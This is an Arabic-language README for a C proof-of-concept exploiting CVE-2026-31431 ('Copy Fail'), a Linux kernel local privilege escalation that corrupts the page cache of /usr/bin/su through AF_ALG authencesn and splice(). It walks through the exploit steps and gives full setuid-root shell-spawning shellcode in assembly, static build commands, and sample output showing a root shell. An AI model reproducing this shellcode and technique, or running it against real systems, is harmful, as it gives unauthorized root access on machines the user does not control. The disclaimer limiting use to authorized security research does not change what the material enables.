
# CVE-2026-31431 (Copy Fail) PoC - تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس عبر authencesn AF_ALG + splice()
استغلال تصعيد صلاحيات محلي لثغرة CVE-2026-31431 (Copy Fail)، مكتوب بلغة C.
/usr/bin/su إلى إزاحة ملف عبر رؤوس البرامج PT_LOADauthencesn(hmac(sha256),cbc(aes)) بمفتاح صفريsendmsg() يرسل AAD مع بايتات الشيلكود كـ seqno_lo (البايتات 4-7)، مع MSG_MOREsplice() يسلّم 32 بايت من صفحات ذاكرة التخزين المؤقت للملف المستهدف كوسم مصادقة AEADrecv() يطلق عملية فك التشفير، وكتابة الخدش الخاصة بـ authencesn تهبط في صفحات ذاكرة التخزين المؤقت المتسلسلة، كاتبةً 4 بايتات مُتحكَّم بها.execl("/usr/bin/su") يحمّل ذاكرة التخزين المؤقت للصفحات التالفة. الشيلكود المكوّن من 40 بايت (setuid(0) + execve("/bin/sh")) يعمل بصلاحيات setuid-rootxor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
يتطلب musl-gcc أو أي مترجم C مع دعم الربط الثابت:
musl-gcc -static -O2 -s -o copyfail exploit.c
بدلاً من ذلك مع GCC + glibc:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
يُقدَّم هذا الإثبات المفاهيمي لأغراض البحث الأمني المصرح به والتعليم فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني.